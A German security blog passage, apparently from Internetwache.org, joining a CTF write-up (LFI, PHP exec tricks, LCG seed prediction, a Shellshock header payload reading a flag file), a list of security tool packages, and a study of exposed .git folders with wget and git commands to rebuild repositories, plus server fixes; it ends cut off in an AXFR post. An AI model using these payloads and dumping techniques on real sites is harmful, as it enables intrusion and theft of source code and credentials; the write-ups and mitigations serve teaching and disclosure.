Der Ordner /modules/ besaß eingeschaltetes Verzeichnis-Listing, weshalb es ohne weiteres möglich war, Zugriff auf weitere Module zu erhalten (deren Namen lassen sich einfach aus den Listing entnehmen).

Es war zudem möglich mittels Klick auf die einzelnen Module den Quelltext dieser zu betrachten - das erwies sich allerdings nicht als besonders nützlich. Durch Manipulation des Pfades sollte in einem nächsten Schritt ermittelt werden, ob die Webapplikation gegen eine sogenannte Local File Inclusion (LFI) anfällig war und dadurch Manipulationen möglich werden:

Das war schon einmal eine interessante Sache. Denis kam auf die Idee die .htaccess-Datei des Wurzelverzeichnisses einzubinden - gesagt, getan.

Der letzte Schritt war es die Datei flag.phpaus dem Verzeichnis einzubinden.

Bei einem CTF ist eine Challenge mit dem erlangen der Flag abgeschlossen - das Vorgehen war also erfolgreich und zum “Warmwerden” allemal geeignet. :)

PHP Golf

Die nächste Challenge war extrem interessant, denn es ging darum für folgende Konditionen ein Programm in PHP zu entwerfen:

Zunächst wurde der Code ohne Berücksichtigung der Längenbeschränkung implementiert. Das Programm tat vermutlich das was es sollte, war allerdings zu lang - man musste zum Absolvieren der Challenge also reguläre Ausdrück nutzen.

Die nächste Version enthielt reguläre Ausdrücke und preg_replace mit einem e Modifier, um Groß- und Kleinschreibung entsprechend zu behandeln:

1

<?=preg_replace('/(\w)([^\w]*)(\w)?/e',"strtoupper('$1').'$2'.strtolower('$3')", $argv[1]);?>

Mit über 90 Zeichen war diese Version leider immernoch zu lang. In dem Moment war klar, dass die langen Funktionsaufrufe strtoupper / strtolower verkürzt werden müssen. Die Lösung sind sogenannte unicode character properties. Leider war es nicht möglich diese mit dem replacement Parameter der preg_match Funktion zu nutzen, sodass es erneut mit Perl versucht wurde:

1

<?=exec("echo '$argv[1]'|perl -pe 's~(\w)([^\w]*)(\w)?~\U\\1\E\\2\L\\3\E~g'");?>

Der Trick ist, dass alles zwischen \U und \E in Großbuchstaben umgewandelt wird. \L wandelt entsprechend in Kleinbuchstaben um. Leider war perl auf dem Submission-Server nicht verfügbar und der Payload war mit 80 Zeichen immer noch zu lang. Allerdings konnten wir mit exec und beliebigen Kommandos weiterarbeiten. Der nächste Gedanke fiel auf das Tool sed. Wie auch immer, es war bereits 2 Uhr morgens und wir entschieden uns nach Festhalten des Ansatzes auf der Mailingliste ins Bett zu gehen, um uns am nächsten Tag mit frischem Kopf der Aufgabe anzunehmen.

Am nächsten Morgen hatte Denis dann bereits eine funktionsfähige Lösung erarbeitet:

1

<?=exec("echo $argv[1]|sed -r 's/(\w)(\W*\w?)/\U\\1\L\\2/g'"); 

Einige Erklärungen zu dieser Lösung:

• [^\w] ist dasselbe wie \W
• <?= ist dasselbe wie <? echo
• Man kann ?> weglassen, wenn der Code mit einem Semikolon abgeschlossen wird.

Diese Lösung hatte jedoch Probleme mit Unterstrichen _ im originalen String, aber nach einige Versuchen entstand ein Exemplar ohne diese und wir erhielten die Flagge :).

Fertig

Guessthenumber

Die Aufgabe dieser Challenge war: Hundert Zahlen in der richtigen Reihenfolge zu raten.

Die folgenden Hinweise wurden gegeben:

• Der Server nutzt einen Linear congruential generator
• Es werden die Standard glibc Parameter
• Es wird mit dem Python strftime Format YmdHMS initialisiert
• Nur Zahlen zwischen 0 und 99 (inklusive)

Es erschien am Einfachsten die Lösung mit Python umzusetzen, also googelten wir nach einer LCG Implementierung/Bibliothek und entdeckten dieses Beispiel. Der nächste Schritt bestand darin, die Paramter entsprechend den Vorgaben anzupassen und den grundlegenden Server/Client Kommunikationscode zu schreiben. Soweit ganz einfach.

Der Server teilte uns immer seine aktuelle Zeit mit. Diese hatte wahrscheinlich irgendwas mit dem Initialisierungsformat YmdHMS zu tun. Nach dem Extrahieren aller nötigen Informationen mit regulären Ausdrücken, konkatenierten wir diese folgendermaßen:

1
2

    timedata=str(year)+str(month)+str(day)+str(hour)+str(minute)+str(second)
    seed(int(timedata))

Die letzte wichtige Aufgabe bestand darin, den Modulo-Operator auf die erzeugten Zahlen anzuwenden. Sowohl 0 als auch 99 sind im gültigen Zahlenbereich, sodass wir rnd() %100 nutzen müssen.

Unglücklicherweise löste dieser Ansatz die Challenge nicht, da der erste Versuch immer falsch war. Es stellte sich heraus, dass man 100 Zahlen generieren und diese in umgekehrter Reihenfolge senden musste.

Der komplette “quick & dirty code”: Pastebin

Fertig :)

Bashful

An dieser Challenge haben wir die meiste Zeit verbracht, weil es viel Mühe gekostet hat. Mazen stieg bei dieser Challege mit ein. Okay, aber alles nacheinander. Bashful ist eine Webapplikation die in Bash geschrieben wurde, um Notizen speichern zu können.

Hier wird zunächst die finale Lösung gepostet, bevor andere Lösungsideen diskutieret werden. Dabei ist immernoch nicht sicher, ob diese Lösung beabsichtigt war, in jedem Fall funktioniert sie gut ;)

Wie man sehen kann, war es möglich einen Shellshock) Payload in den Request Headern unterzubringen:

1

X-Foo: () { :;}; /bin/bash -c "cat /var/www/flag"

Psst: Es gab sogar eine XSS Lücke, in dem man den XSS Payload in den Headern versteckte :D

Die Lösung ist recht enttäuschend. Man hatte so viel Spaß mit dem Quelltext, und bei dessen Durchsicht fiel mir folgende drei Funktionen auf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

function explode {
        IFS="$1" read -ra "$2" <<< "$3"
}
function filter_nonalpha {
        echo $(echo $1 | sed 's/[^a-zA-Z0-9.!$;?_]//g')
}
function parse {
        explode '&' 'pairs' "$1"
        for pair in "${pairs[@]}"; do

            explode '=' 'keyval' "$pair"

            export $(filter_nonalpha "${keyval[0]}")="${keyval[1]}"

    done}

Diese Funktionen wurden später zum Parsen der Benutzereingaben verwendet:

1
2
3

if [ -v QUERY_STRING ]; then
    parse "$QUERY_STRING"
fi

Die erste interessante Sache ist das sed Kommando in der filter_nonalpha Funktion, da es alle Zeichen ersetzt, die nicht in den eckigen Klammern stehen. D.h. unsere Eingaben können .!$;? enthalten, was im Kontext der Bash sehr von nutzen sein kann. Die zweite interessante Sache ist die folgende Zeile aus parse:

1

export $(filter_nonalpha "${keyval[0]}")="${keyval[1]}"

Wir merken, dass nur die Variablennamen der Umgebungsvariablen gefiltert werden, jedoch nicht die Werte. Zusätzlich können wir parse nutzen, um beliebige Umgebungsvariablen zu setzen. Zum Beispiel mit dem Query String DEBUG=1 wird eine Variable $DEBUG mit dem Wert 1 belegt.

Etwas weiter unten im Quelltext fand sich folgender Block:

1
2
3
4
5

if [ -v DEBUG ]; then
    echo -ne '<pre>'
    printenv
    echo -ne '</pre>'
fi

Wie bereits gesagt, führt das Setzen von DEBUG= in der URL zur Ausgabe aller Umgebungsvariablen:

Da wir nun wissen, dass wir andere Umgebungsvariablen setzen/überschreiben können, wird der folgende Codeblock sehr interessant:

1
2
3
4
5
6
7
8
9
10
11

sessid=$(filter_nonalpha $sessid)
if [ -z $sessid ] || [ "${#sessid}" -lt 60 ]; then 
   echo 'like... really?'
   exit
fi
sessfile=$SESSION_DIR/$sessid
if [ -f $sessfile ]; then
    explode '#' 'messages' "$(cat $sessfile)"
else
    messages=()
fi

Das Missbrauchen von $SESSION_DIR und $sessid zum Setzen eines beliebigen Pfades in der $sessfile Variable, um wiederum den Inhalt dieser Datei auszulesen, hörte sich nach einem tollen Weg an, um an die Flagge zu kommen. TL;DR: Das Setzen von $SESSION_DIR war nicht das Problem, sondern eher die Längenprüfung der $sessid Variable. So war es möglich die Beschränkung mit $IFS$IFS....$IFS zu umgehen, allerdings scheiterte dann die Datei-Existenzprüfung ([ -f $sessfile ]).

1
2
3
4
5
6
7
8
9
10
11
12
13
14

if [ ! -v page ]; then
    page=home
else
    page=$(filter_nonalpha "$page")
fi
if [[ "$page" == "index" ]]; then
    page=home
fi
file="$DOCUMENT_ROOT/$page.sh"
if [ ! -f $file ]; then
    >&2 echo "Can't load $file"
    file="$DOCUMENT_ROOT/404.sh"
fi
source $file

Das sah sogar noch viel spannender aus, da es direkt zu einer RCE führen könnte. Wieder nutzen wir die bekannte Methode, um die Variablen $DOCUMENT_ROOT und $page zu bearbeiten. Die Kombination dieser beiden würde dann gesourced (ausgeführt) werden. Wir müssten nur unsere Kommandos in eine Datei schreiben, welche auf .sh endet und im Document Root oder woanders liegt.

Wir konnten uns zwei Wege überlegen, wie man die RCE ausnutzen könnte:

Der erste Weg bestand darin, $SESSION_DIR=/var/www/ und $sessid=aaaa...aaa.sh (60+ mal a und .sh) zu setzen. Dies würde zu $sessfile=/var/www/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.sh führen. Das Speichern einer Notiz mit diesen Parametern würde eine $sessfile Datei erstellen. Leider funktionierte das auf Grund fehlender Schreibrechte nicht. Wir erhielten nur einen 500er vom Server.

Die andere Idee bestand darin, $SESSION_DIR=/var/sessions und $sessid genauso wie oben zu setzen, um eine Session-Datei mit der Endung .sh zu erstellen. Der zweite Schritt würde darin bestehen, DOCUMENT_ROOT=/var/sessions und $page=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa zu setzen. Allerdings scheiterte auch dieser Versuch, da der Webserver die index.sh nicht finden konnte.

Im Nachhinein macht der letztere Ansatz nicht wirklich Sinn. Aber vielleicht gibt es ja irgendwelche “Bash-Magic” die genutzt werden könnte, um die Parameter entsprechend so zu setzen, dass die RCE ausgeführt wird. Wie auch immer: Es ist lustig zu sehen, dass die Lösung für diese Challenge einfach war, und wir viel zu übermotiviert herangegangen sind.

Andere Challenges

Wir hatte noch einen Blick auf andere Challenges, können jedoch nur ein paar Ideen bzw. Ansätze nennen. Möglicherweise sind alle nicht richtig und/oder etwas sinnlos:

Grading-Board (Web):

• Irgendwas mit SQL Injection
• Möglichweise muss man grant options nutzen, um anderen Zugriff auf die eigene Tabellen zu geben.

Dr.Bob (Forensic):

• Das .vdi Image mit qemu-nbd einbinden
• LVM volume, aber verschlüsselt und Passwort ist unbekannt.
• VirtualBox nutzen, um den gespeicherten Zustand wiederherzustellen, aber keine Passwörter für die Nutzer bekannt.
• Volatility testen/nutzen, um (nützliche) Informationen zu ermitteln
• VM booten und init=/bin/bash rw Kernelparameter nutzen, um in eine root-shell zu gelangen. Nach verdächtigen Dateien suchen. Kein Glück :(

Teacher’s Pinboard (Web):

• Am Ende der pickle.js steht, dass splice/slice verwechselt/vertauscht wurden und man es beheben soll.
• Pickle ist irgendeine Enkodierung. Informationen aus dem Cookie accountinfo werden dekodiert und genutzt.
• Idee: Die Single-Page-App speichern und pickle.js beheben. Hoffen, dass das hilft, die Flagge von den Default-Notizen zu extrahieren.

Zukünftige CTFs

Wir denken, dass wir öfters in zukünftigen Jeopardy-Stil CTFs mitmachen werden, wenn es unsere Freizeit erlaubt. Es macht wirklich wirklich viel Spaß und hilft einem neue Ideen/Wege zu erkunden.

Wir hoffen das hilft irgendwie weiter, Team der Internetwache.org

Die folgenden Pakete wurden von Sebastian erstellt und werden von ihm betreut.

AXFR Scanner

Nach unserer Untersuchung der Alexa Top 1 Millionen auf den sogenannten AXFR-Zonentransfer, haben wir den AXFR Scanner auf Github veröffentlicht. Dieses Tool lässt sich simpel über das Kommando yaourt axfrscanner-git installieren. Die Nutzung wurde leicht angepasst, um kommandozeilenfreundlicher zu sein:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

$> axfrscanner --help
usage: axfrscanner [-h] [-i [INPUTFILE]] [-o [OUTPUTFILE]] [-l [LOGFILE]]
                   [-p [PROCESSES]] [-d [DOMAIN]]

Check domains' nameservers for public AXFR

optional arguments:
  -h, --help            zeigt die Hilfe an
  -i [INPUTFILE], --inputfile [INPUTFILE]
                        Inputdatei, gibt an von wo die Domains ausgelesen werden. Standard: stdin
  -o [OUTPUTFILE], --outputfile [OUTPUTFILE]
                        Outputdatei, gibt an wo die Zonendaten gespeichert werden. Standard: stdout
  -l [LOGFILE], --logfile [LOGFILE]
                        Logdatei. Standard: stderr
  -p [PROCESSES], --processes [PROCESSES]
                        Anzahl der Prozesse. Standard: 20
  -d [DOMAIN], --domain [DOMAIN]
                    . Ignored if -i is used.

Heartbleed Scanner

Heartbleed ist eine recht erschreckende Sicherheitslücke, welche 2014 entdeckt und seit dem immer wieder genutzt wurde, um private Schlüssel aus OpenSSL Applikationen auszulesen. Sebastian hat ein Paket erstellt, welches heartbleedscanner-git heißt. Es basiert auf den Heartbleed Python Tools von einaros. Dieses Paket enthält 3 verschiedene Tools:

• heartbleedscanner : OpenSSL Heartbleed (CVE-2014-0160) Scanner und Data Miner.
• heartbleedscanner-keyscan: Erstellung von Speicherabbildern, Suche nach Primfaktoren.
• heartbleedscanner-keydump: Wiederherstellung der privaten SSL Schlüssel, basierend auf den zuvor ermittelten Primfaktoren.

Poodle Scanner

Poodle ist der Name einer Schwachstelle innerhalb des SSLv3 Protokolls. Nun gibt es ein Paket mit einem Python Poodle Scanning Tool von 0xICF mit dem Namen poodlescanner-git. Die Benutzung sieht folgendermaßen aus:

1
2

$> poodlescanner -H localhost
localhost:443 SSLv3 [Errno 111] Connection refused

Useragent

useragent-git ist ein kleines Bash-Script (Quellcode auf GitHub) mit welchem verschiedene User-Agents dargestellt werden können. Das kann vor allem in Kombination mit curl oder wget Sinn machen.

1
2

$> useragent -w
Mozilla/5.0 (Windows NT 5.0; rv:10.0) Gecko/20100101 Firefox/10.0

Wordlist

wordlist-git ist ein Paket für das Python Wordlist Generation Script von rexos. Mittels verschiedener Parameter kann man konkretisieren, wie die Wörterliste am Ende aussehen soll.

1
2
3
4
5
6

> wordlist 0-9 -m 2 -M 3
00
01
02
[...]
999

theHarvester

theharvester-git enthält ein Python Script welches dazu genutzt werden kann, um sensible Daten, etwa Emailadressen, Subdomains, offene Ports, Namen von Arbeitnehmern und viele weitere nützliche Informationen zu ermitteln. Solche Daten können beispielsweise Grundlage für weiterführende Angriffe oder Social Engineering sein. Weitere Informationen können unter dem entsprechenden Github Repository abgerufen werden.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

Benutzung: theharvester options 

       -d: Domain to search or company name
       -b: data source: google, googleCSE, bing, bingapi, pgp, linkedin,
                        google-profiles, jigsaw, twitter, googleplus, all

       -s: Start in result number X (default: 0)
       -v: Verify host name via dns resolution and search for virtual hosts
       -f: Save the results into an HTML and XML file
       -n: Perform a DNS reverse query on all ranges discovered
       -c: Perform a DNS brute force for the domain name
       -t: Perform a DNS TLD expansion discovery
       -e: Use this DNS server
       -l: Limit the number of results to work with(bing goes from 50 to 50 results,
       -h: use SHODAN database to query discovered hosts
            google 100 to 100, and pgp doesn't use this option)

Diese Liste ist nur ein Auszug der von Sebastian veröffentlichten Pakete. Weitere Security Pakete die im AUR gefunden werden können:

• burpsuite: Kostenfreie Version von Burp Suite
• wpscan: Wordpress vulnerability scanner
• sqlmap: SQL injection helper
• subbrute: DNS subdomain brute forcer
• sslyze: SSL testing tool
• ffdec: Flash decompiler
• metasploit: Metasploit framework
• radare2: Portable reversing framework
• und viele mehr

Sebastian wird nach Möglichkeit weitere IT-Sicherheit relevante Pakete im AUR publizieren.

Das Team der Internetwache.org

Also beschäftigten wir uns etwas mehr mit der Materie, schrieben einige kleine Tools und haben ein paar Beobachtungen angestellt, die wir gern weitergeben möchten. Das Ergebnis war zwar nicht so dramatisch, wie befürchtet, aber dennoch überraschend.

TL; DR

Einige Webseiten hosten ihre Versionierungs Repositorys (wie zum Beispiel .git/) öffentlich. Das ermöglicht Angreifern das Herunterladen und Wiederherstellen der Repositorys, um Zugriff auf den Quellcode einer Applikation zu erhalten. Bitte prüfen Sie die Konfiguration Ihres Webservers, um sicherzustellen, dass der Zugriff von außen auf diese Dateien nicht möglich ist.

Was ist ein Versionierungstool?

Vor einigen Jahrzehnten standen Entwickler vor dem Problem gemeinsam aus der Ferne Programme zu entwickeln. Um diesem Problem Abhilfe zu schaffen, wurden Versionierungstools entwickelt. Die primäre Aufgabe dieser Tools ist es verteilte Arbeit an einem zentralen Quellcode zu ermöglichen. Das wird unteranderem darüber erreicht indem sämtliche Codeänderungen (meist “Commit” genannt) protokolliert werden. Ein sehr bekanntes Tool zur Versionierung heißt git und wurde damals von Linus Torvalds ins Leben gerufen. Auch im Web ist git mittlerweile stark vertreten, Webseiten wie github.com bieten das kostenlose Hostin dieser Repositorys an.

Wir haben uns während der Arbeit an diesem Artikel primär auf `git fokusiert:

• Git

Es gibt allerdings noch eine Vielzahl anderer Versionierungstools, die ebenfalls das hier beschriebene Verhalten aufweisen können:

• SVN (Apache Subversion) - Ein Scan von uns ergab rund 900 anfällige Systeme
• HG (Mercurial)
• Bazaar
• CVS (Concurrent Versions System)
• BitKeeper

Wieso kann ein öffentlich zugängliches Repository die Sicherheit einer Webapplikation gefährden?

Beim Deployen von Webapplikationen klonen die meisten Entwickler einfach ihr Repository. Die meisten Versionierungstools erstellen dabei einen Meta bzw. Tracking Ordner im Wurzelverzeichnis des Projektes. Zum Beispiel erstellt git einen Ordner mit dem Namen “.git” in der eine komplette Kopie des Repositorys angelegt wird. Andere Versionierungstools weisen ein ähnliches Verhalten auf (bspw. SVN)

Wahrscheinlich ahnt der ein oder andere an dieser Stelle schon, was so mancher Angreifer anstellen kann, wenn der entsprechende Pfad zum Repository nicht geschützt wird. Der Ordner enthält nicht nur den gesamten Quellcode der Applikation, sondern auch alle vorherigen Versionen, Änderungen und möglicherweise auch Konfigurationsdateien mit sensiblen Systeminformationen. Das ebnet einem Angreifer die Möglichkeit die Webseite zu übernehmen, beispielsweise indem der Quellcode nach weiteren Lücken untersucht werden kann.

Das Herunterladen des Quellcodes

Nun also zum interessanten Part - Wie laden wir das Repository herunter, um Zugriff auf den Quellcode zu erhalten? Grundsätzlich gibt es dazu zwei Wege:

• einen einfachen Weg, falls der Webserver das Anzeigen der Verzeichnisstruktur (directory listing) eingeschaltet hat
• einen harten Weg, andernfalls

Wie bereits erwähnt, verwenden die meisten Versionierungstools viele kleine Datein (Objekte), um die Änderungen zu verwalten. Die Dateinahmen sind allerdings das Ergebnis von Hashfunktionen und somit recht schwer zu erraten (Brute Force). Wir müssen also einen anderen Weg finden trotzdem an die Dateien und ihre Namen zu kommen.

Der einfache Weg

Zunächst einmal sollte die Verzeichnisstrukturen auf Produktivsystemen nicht angezeigt werden. Sollen Sie sich also an dieser Stelle ertappt fühlen, zögern sie nicht - hören Sie auf zu lesen und setzen diese “Best practice” um :)! Das ist allerdings nicht ausreichend, um einen möglichen Angreifer aufzuhalten (mehr dazu: “Der harte Weg”)

Das Anzeigen der Verzeichnisstrukturen hilft einem potenziellen Angreifer sehr, da zur Kopie der Daten ein einfacher Befehl genügt:

Es genügt folgenden wget Befehl auszuführen:

1

wget --mirror -I .git TARGET.COM/.git/ 

Nach dem Herunterladen kann man in den betreffenden Ordner wechseln und einige Shells (etwa fish oder zsh) teilen bereits mit, dass es sich um ein git-versioniertes Verzeichnis handelt (siehe “master”-branch Hinweis).

1
2
3
4
5
6
7
8
9
10
11
12

/tmp/test/ttrss.me (0) (master)                                                                                                                                        
> git status | head -n 10 
On branch master
Your branch is up-to-date with 'origin/master'.
Changes not staged for commit:
  (use "git add/rm <file>..." to update what will be committed)
  (use "git checkout -- <file>..." to discard changes in working directory)

        deleted:       .buildpath
        deleted:       .gitignore
        deleted:       .htaccess
        deleted:       .project

Nach dem Ausführen von git checkout -- . wird das Repository zurückgesetzt und alle Dateien werden wiederhergestellt.

1
2
3
4
5
6
7
8
9
10
11

/tmp/test/ttrss.me (0) (master) 
> /usr/bin/ls | head -n 10
apiatom-to-html.xsl
backend.php
cache
classes
config.php-dist
css
errors.php
feed-icons
image.php

Wir haben also erfolgreich eine Kopie des Quellcodes der Webseite erhalten.

Der harte Weg

Wie bereits in der Einleitung erwähnt, ging es uns auch darum einen Weg zu finden das Repository herunterzuladen, selbst wenn das Anzeigen der Verzeichnisstrukturen ausgeschaltet ist. Damit das möglich ist, haben wir uns etwas mit der internen Funktionsweise von git beschäftigt, um zu verstehen wie ein Repository aufgebaut ist.

Wir möchten an dieser Stelle nicht zu sehr ins Detail gehen, empfehlen allerdings sehr die Lektüre entsprechender Kapitel aus diesem Buch git-scm.com/book. Es sei allerdings gesagt, dass es insgesamt drei verschiedene Arten von Objekten in einem git Repository gibt:

• Blob - die eigentlichen Daten (beispielsweise den Quellcode)
• Tree - gliedert Blobs
• Commit - Ein gewisser Zustand eines Trees mit einigen zusätzlichen Informationen (zum Beispiel: Autor/Datum/sonstiges)

All diese Informationen nutzt git, um Versionierung zu ermöglichen und Repositorys zu verwalten. Das “Problem” was man nun als Angreifer hat ist, dass diese Informationen folgendermaßen in Dateien abgespeichert wurden: .git/objects/[Ersten-2-bytes]/[Restliche-38-bytes]. Der Dateiname ist ein langer SHA-1-Hash eines Objektes. Wir müssen also eine Menge Glück haben, um alle Dateinamen zu erraten und sie damit herunterladen zu können. Da uns das Glück allerdings oft im Stich lässt und das Ausprobieren von SHA-1 Werten auch keine gute Idee ist (es dauert ewig), suchen wir nach einer anderen Möglichkeit.

Was uns an dieser Stelle hilft, ist der Fakt, dass manche Dateien in einem Repository identisch sind:

• HEAD
• objects/info/packs
• description
• config
• COMMIT_EDITMSG
• index
• packed-refs
• refs/heads/master
• refs/remotes/origin/HEAD
• refs/stash
• logs/HEAD
• logs/refs/heads/master
• logs/refs/remotes/origin/HEAD
• info/refs
• info/exclude

Diese Dateien referenzieren entweder ein Objekt über den dazugehörigen Hash oder eine Datei, welche dann mittels Hash auf ein Objekt zeigt (und so weiter). Das bietet uns als Angreifer also die Möglichkeit Hashwerte auszulesen und die Dateien herunterzuladen. Wir müssen die Hashwerte also aus den bereits heruntergeladenen Dateien extrahieren.

So können wir zum Beispiel die refs/heads/master Datei etwas näher betrachten:

1
2

> cat .git/refs/heads/master 
6916ae52c0b20b04569c262275d27422fc4fcd34

Die Referenz in master zeigt auf einen Commit mit dem Hashwert 6916ae52c0b20b04569c262275d27422fc4fcd34. Nachdem wir auch diesen näher betrachtet haben (die URL dazu ist logischerweise: .git/objects/69/16ae52c0b20b04569c262275d27422fc4fcd34), können wir mit der Analyse des selbigen fortfahren.

1
2

> git cat-file -t 6916ae52c0b20b04569c262275d27422fc4fcd34 
commit

Wir erfahren, dass es sich bei dem herutergeladenen Objekt tatsächlich um einen Commit handelt. Schauen wir nun wieder nach einigen Details:

1
2
3
4
5
6
7

> git cat-file -p 6916ae52c0b20b04569c262275d27422fc4fcd34 
tree fa3887a0b798346c122afdd7c5ecc605bf3c18c0
parent 9264d57c621f66208d689ef653ce8a62c3bccfae
author XY <foo@bar> 1429391394 +0200
committer XY <foo@bar> 1429391394 +0200

Added another readme file

Okay, jetzt wissen wir den Hash des dazugehörigen Trees und weitere Informationen etwa über den Autor und kennen auch die Commit-Nachricht.

Wir laden also das Tree-Objekt herunter und analysieren es:

1
2
3
4
5

> git cat-file -p fa3887a0b798346c122afdd7c5ecc605bf3c18c0
040000 tree 532fc6055e09e0a2d5602f4b84c0dbadce1b5f3e        Dumper
040000 tree 077ce769dedcf19d0f063246256e8ae0394fd8df        Extractor
040000 tree d6e1bd4677a256e760cce5ddaa7db7ea6f9a8900        Finder
100644 blob 9670cf17dfeec351c395493058044b9f9dadbe2a        README.md

Dadurch erhalten wir die Namen der Dateien, welche in dem Pfad sind. Zu bemerken ist an dieser Stelle, dass Dumper, Extractor und Finder ebenfalls Trees (also Verzeichnisse) sind. Der finale Schritt an dieser Stelle ist allerdings das Herunterladen des README.md Blob Objektes und die Untersuchung des Inhalts.

1
2
3
4

> git cat-file -p 9670cf17dfeec351c395493058044b9f9dadbe2a
Git Tools
=============
[...]

Besondere Beachtung ist allerdings auch den sogenannten Packs zu finden. Wir finden diese in folgendem Verzeichnis: .git/objects/info/packs

1
2

> cat .git/objects/info/packs 
P pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.pack

Das entsprechende Paket findet sich in .git/objects/pack/:

1
2
3

> /usr/bin/ls .git/objects/pack/
pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.idx
pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.pack

In einem solchen Fall, müssen wir beide Dateien herunterladen und folgenden Befehl ausführen, um den Inhalt des Pakets zu extrahieren.

1
2

> git unpack-objects -r < .git/objects/pack/pack-e38660e6be24bb79d8d929ddea3d194e0dd3cd13.pack
Unpacking objects: 100% (15/15), done.

Wenn man dieses Vorgehen rekusiv und für jeden möglichen Hash macht, den man bereits heruntergeladen hat, so ist man in der Lage nach und nach das eigentliche Repsository und dessen Inhalt wiederherzustellen.

Manchmal wird das Herunterladen eines bestimmten Objektes scheitern und wir erhalten nur ein unvollständiges Repository. In einem solchen Fall können wir allerdings den git fsck Befehl nutzen, um nach den fehlenden Dateien zu suchen.

Tools

Die Tools sind auf Github unter folgendem Link abrufbar: https://github.com/internetwache/GitTools.

Es handelt sich um 3 getrennte Programme. Eins zum Finden, eins zum Herunterladen und eins zum Extrahieren von Repositories.

Preview des recovery Tools:

Scan der Alexa Top 1M

Durch einen Scan der Alexa Top 1M Domains haben wir einiges an Erkenntnisse und Daten über git Repositorys gewinnen können. Wir haben rund 9700 öffentlich abrufbare git repositories gefunden, was bedeutet, dass <1% anfällig für diese Art Angriff sind.

Bei einem genaueren Blick auf unsere Daten stellten wir insbesondere bei folgenden Webseiten viele Anfälligkeiten fest:

• Webseiten großer deutscher und amerikanischer Parteien / NGOs und einigen staatlichen Webseiten (.gov)
• TV-Sender und Radiosender (>20)
• Online-Communities (einige sogar mit mehr als >6 Millionen Nutzern)
• Trading- bzw. Banking Webseiten
• Online Privacy-Dienst
• Fußballclus aus der deutschen Bundesliga
• Webseiten mit pornografischen Inhalten
• Kleinere und größere Webshops

Auf einigen wenigen Webseiten war das Erreichen der git-Repositorys mit hoher Wahrscheinlichkeit beabsichtigt (etwa bei Open Source Projekten) - die meisten Open Source Projekte haben ohnehin ihren Quellcode öffentlich einsehbar.

Je mehr der Alexa Traffic Rank stieg, desto größer wurde die Wahrscheinlichkeit auf anfällige Webseiten zu stoßen.

Hier ist eine Übersicht über die bekanntesten Top Level Domains und die Anzahl der betroffenen Webseiten

Sehr interessant ist auch die Betrachtung der Verteilung der jeweils genutzten Protokolle. Es wurden oft unverschlüsselte Protokolle wie http oder git genutzt.

GitHub bzw. BitBucket wurden neben anderen Hostingplatformen überdurchschnittlich oft verwendet.

Inteeressant

Zu unserem erstaunen haben auch über 100 Projekte HTTP-Authentifizierung für die Client-Server Kommunikation genutzt. Das bedeutet, dass aus der config-Datei folgende Kombination entnommen werden konnte: Protokoll://Nutzer:Passwort@host/repository. Das gibt Angreifern direkten Zugriff auf entsprechende Accounts und GitLab-Instanzen oder GitHub und BitBucket. Mit etwas Glück erlangt ein Angreifer somit sogar Zugriff auf den CI-Server und kann von dort aus schädlichen Code ausführen, um die gesamte Infrastruktur zu kompromitieren. Desweiteren konnten wir eine Vielzahl von AWS/Datenbank/SMTP/FTP Informationen (Logins) aus den Repositorys entnehmen.

Wie kann man die Lücke schließen?

Zunächst sollte erwähnt werden, dass git ein prima Tool ist, wenn man es korrekt nutzt. Nicht git zu benutzen ist also nicht die richtige Option, vielmehr sollte darauf geachtet werden, dass der Webserver korrekt konfiguriert ist und entsprechende Zugriffe verhindert. Nachfolgend haben wir eine Liste der weitverbreitesten Webserver erstellt und beschrieben wie man entsprechende Pfade sperren kann.

Meist ist das Sperren des .git Pfads sehr einfach.

Apache

Für 2.4:

1
2
3

<DirectoryMatch "^/.*/\.git/">
    Require all denied
</DirectoryMatch>

Für 2.2:

1
2
3
4

<DirectoryMatch "^/.*/\.git/">
    Order deny,allow
    Deny from all
</DirectoryMatch>

Wenn Sie diesen Code in der httpd.conf platzieren ist der Pfad gesperrt.

Nginx

1
2
3

location ~ /.git/ {
      deny all;
}

Wenn diese Zeilen Code im server-Block der nginx.conf Datei plaziert werden, greift die Sperre.

Lighttpd

Hier muss zunächst muss das mod_access Module aktiviert werden:

1

server.modules += ( "mod_access" )

Dannach können wir entsprechende Zugriffe auf Pfade, so etwa das .git Verzeichnis blockieren:

1
2
3

$HTTP["url"] =~ "^/\.git/" {
     url.access-deny = ("")
}

Dieser Code muss dazu in der lighttpd.conf plaziert werden.

Eine andere Vorangehensweise ist mittels --git-dir and --work-tree das git Repository außerhalb dem Wurzelverzeichnis zu platzieren.

Zusammenfassung

Es gibt zahlreiche bekannte Webseiten, welche nicht den Zugriff auf den /.git/-Ordner blockieren. Potentzielle Angreifer können so an Quellcode und andere sensible Informationen kommen. Dieses Verhalten lässt sich leicht unterbinden. Sofern Sie Admin sind bitten wir also darum sich einige Minuten Zeit zu nehmen, um zu kontrollieren, dass der Server richtig konfiguriert ist.

Soweit, so gut.

Das Team der Internetwache.org

Wir haben die Alexa Top 1 Millionen Webseitenliste auf dieses Problem untersucht und sind dabei zu einem ernüchternden Ergebnis gekommen.

Was ist AXFR?

Asynchronous Xfer Full Range ist ein Mechanismus von DNS Systemen um DNS-Zonen von eingem sogenannten Master (primären) DNS-Server zu den Slaves (sekundären) DNS-Servern zu übermitteln. Dabei sendet ein Slave eine AXFR-Anfrage zu dem Master Server welcher mit den entsprechenden Informationen zu der angefragten DNS Zone antwortet.

Was kann dabei schief gehen?

Wenn der Master Server nicht kontrolliert, ob die Anfrage aus einer berechtigten Quelle stammt, so beantwortet er “blind” Anfragen. Bei einer Falschkonfiguration kann also jeder Anfragen stellen und damit beliebige Zonen herunterladen. Diese Zonen Informationen sollten allerdings, wie oben bereits erwähnt, nur den sekundären Servern zugänglich sein.

Nun könnte man meinen, dass DNS ohnehin offen abrufbar ist.

1
2
3
4
5
6

> dig NS google.com
;; ANSWER SECTION:
google.com.                21599        IN        NS        ns3.google.com.
google.com.                21599        IN        NS        ns2.google.com.
